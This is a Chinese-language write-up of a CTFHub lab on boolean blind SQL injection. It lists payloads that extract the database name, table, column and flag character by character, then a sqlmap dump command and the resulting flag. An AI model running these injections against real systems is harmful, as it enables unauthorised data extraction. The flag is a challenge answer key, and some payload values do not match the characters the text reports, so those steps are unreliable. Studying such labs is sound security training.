开启靶场,打开链接:
输入1:
显示查询成功但没有回显出相关信息,初步判断是布尔盲注入、时间盲注或报错注入
输入1':
还是没有回显
输入1":
还是没有回显,到这里已经可以确认是布尔盲注了,且是整数型注入
(1)爆数据库
下面为了方便就用burp进行操作:
先判断数据库名的长度:
1 and length(database())=1#
得到数据库名长度是4
下面需要用到ascii表:
先是第一个字符:
1 and ascii(substr(database(),1,1))=100#
说明第一个字符是115,对应字符's'
后面第二、三、四个字符也是类似的步骤:
1 and ascii(substr(database(),2,1))=100#
1 and ascii(substr(database(),3,1))=100#
1 and ascii(substr(database(),4,1))=100#
组合起来就是"sqli"
(2)爆表名
先得爆出表的数量
1 and (select count(table_name) from information_schema.tables where table_schema=database())>2#
显示查询出错,说明表有两个,再试试:
1 and (select count(table_name) from information_schema.tables where table_schema=database())=2#
查询成功,说明表有两个
这里为了节省时间就直接爆第二个表的字符了
(因为知道是news表和flag表)
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=50#
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=50 #
上面这两句就是分别查询数据库的第一个表和第二个表的第一个字符,区别已经用颜色标出
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=100#
、
第一个字符是"f",后续就不多描述了,是flag表
(3)爆列名
先爆出列的数量
1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=2#
1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=1#
先爆列的第一个字符:
1 and ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'flag' order by ordinal_position limit 0,1), 1, 1)) = 100#
(ORDER BY ORDINAL_POSITION:按照列的顺序位置排序)
第一个字符是"f",后续就不多描述了,是flag列
(4)爆字段内容(flag)
先爆字段长度:
1 and (select length(flag) from sqli.flag limit 1) = 10 #
1 and ascii(substr((select flag from sqli.flag limit 0,1), 1, 1)) = 99 #
说明第一个字符是"c"
后续流程实在是太长了,就直接用sqlmap直接爆了
python sqlmap.py -u "http://challenge-3178d4a1492b39d2.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump
得到flag:
ctfhub{a7709502382fa7e2f7ab5864}